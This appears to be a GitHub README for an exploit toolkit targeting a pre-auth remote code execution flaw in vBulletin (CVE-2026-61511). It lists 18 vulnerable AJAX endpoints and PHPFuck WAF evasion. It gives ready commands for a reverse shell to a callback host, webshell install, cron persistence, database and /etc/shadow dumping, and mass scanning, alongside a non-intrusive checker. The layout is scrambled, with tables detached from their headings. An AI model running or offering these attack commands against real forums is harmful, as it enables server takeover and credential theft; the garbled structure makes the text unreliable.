CVEPoC

CVE-2026-61511 – vBulletin Pre‑Auth RCE Exploit & Verifier

⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

📖 Vulnerability Overview

CVE‑2026‑61511 is a PHP eval() injection flaw in vBulletin's AJAX template rendering engine.
Affected versions: 5.0.0 – 5.7.5 and 6.0.0 – 6.2.1.

How it works

Multiple attack endpoints – the bug exists in several AJAX handlers:
- /ajax/render/pagenav
- /ajax/api/ad/replaceAdTemplate
- /ajax/render/widget_php
- /ajax/render/widget_tabbedcontainer_tab_panel
- Various /ajax/api/content_* /getIndexableContent endpoints
PHPFuck encoding – the payload is transformed into a sequence of PHP operators and numbers that bypasses WAF filters and allows arbitrary PHP code execution.
No authentication required – an attacker can send a crafted POST request to any vulnerable endpoint and execute system commands with the privileges of the web server.
Impact – full server compromise, data theft, backdoors, lateral movement, and persistence. Upgrade the version!

Patch

vBulletin 6.2.2 and Patch Level 1 for older versions fix this issue.
Always upgrade to the latest version.

🧰 Tools

Tool	Purpose	Intended User
`exploit.py`	Full toolkit with reverse shell, persistence, file operations, database dump, firewall management, log management, port forwarding, SSH key deployment, network scanning, and mass scanning (multi‑threaded).

📊 Feature Comparison

🎯 Use Case Summary

⚙️ Installation

git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511-PoC-Exploit
pip install -r requirements.txt

requirements.txt content:

request
urllib3

Parameters 🌬️

Scenarios

Endpoint Pool 🅿️

🛡️ Responsible Use

Only use these tools on systems you own or have explicit written permission to test.
Unauthorized access is illegal and unethical.
The authors are not responsible for any misuse.
Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.

Vulnerability detection	✅	✅
Version detection	✅	✅
Multi‑endpoint testing (18 paths)	✅	✅
Command execution	✅	❌
Reverse shell	✅	❌
File upload/download	✅	❌
Persistence mechanisms	✅	❌
Web shell deployment	✅	❌
Database operations	✅	❌
System information gathering	✅	✅
Firewall management	✅	❌
Log management	✅	❌
Port forwarding	✅	❌
SSH key deployment	✅	❌
Network scanning	✅	❌
Mass scanning (multi‑thread)	✅	❌
Proxy support	✅	✅
JSON report output	✅	✅
Interactive menu	✅	❌
Non‑intrusive (safe) mode	❌	✅
Verbose/Debug mode	✅	✅
Custom command execution	✅	❌
Multi‑command chaining	✅	❌
Remote file reading	✅	❌
Remote file writing	✅	❌
System user management	✅	❌
Firewall bypass techniques	✅	❌
WAF evasion (PHPFuck)	✅	✅

Blue Team – verifying if your vBulletin installation is vulnerable	`safecheck.py`
Security Audit – non‑intrusive vulnerability assessment	`safecheck.py`
Red Team – authorized penetration testing with full exploitation	`exploit.py`
Bug Bounty – responsible disclosure testing	`safecheck.py`
Mass Scanning – checking multiple targets for vulnerability	`exploit.py` (detection only)
Incident Response – checking if systems are compromised	`safecheck.py`

`-t, --target`	Target URL (e.g. `http://forum.com/vb`)
`--proxy`	HTTP proxy (e.g. `http://127.0.0.1:8080`)
`--timeout`	Request timeout in seconds (default: 10)
`--retry`	Retry count per path (default: 3)
`--output`	Save detailed report to JSON file
`-v, --verbose`	Verbose output
`-q, --quiet`	Quiet mode (minimal output)
`--lhost`	Required for exploit – IP for callback
`--lport`	Port for callback (default: 4444)
`--threads`	Threads for mass scanning (default: 5)
`--exploit`	Perform exploitation after detection
`--full`	Full attack (all modules)
`--shell`	Start reverse shell
`--webshell`	Install webshell (`/shell.php`)
`--persist`	Install persistence (cron job)
`--dump`	Dump database
`--dump-creds`	Dump credentials (`/etc/passwd`, `/etc/shadow`)
`--interactive`	Interactive menu after successful verification

1	Quick vulnerability check	`python safecheck.py -t http://target.com/vb`
2	Detailed scan with report	`python safecheck.py -t http://target.com/vb --output report.json -v`
3	Reverse shell	`python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell`
4	Full attack (all modules)	`python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full`
5	Mass scanning from file	`python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json`
6	Interactive menu mode	`python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive`

1	`/ajax/render/pagenav`
2	`/ajax/render/pagenav?template=page`
3	`/ajax/api/ad/replaceAdTemplate`
4	`/ajax/render/widget_php`
5	`/ajax/render/widget_tabbedcontainer_tab_panel`
6	`/ajax/api/content_infraction/getIndexableContent`
7	`/ajax/api/content_video/getIndexableContent`
8	`/ajax/api/content_text/getIndexableContent`
9	`/ajax/api/content_report/getIndexableContent`
10	`/ajax/api/content_redirect/getIndexableContent`
11	`/ajax/api/content_privatemessage/getIndexableContent`
12	`/ajax/api/content_poll/getIndexableContent`
13	`/ajax/api/content_photo/getIndexableContent`
14	`/ajax/api/content_link/getIndexableContent`
15	`/ajax/api/content_gallery/getIndexableContent`
16	`/ajax/api/content_event/getIndexableContent`
17	`/ajax/api/content_channel/getIndexableContent`
18	`/ajax/api/content_attach/getIndexableContent`

Más Populares

CVE-2026-61511-PoC-Exploit

Acerca de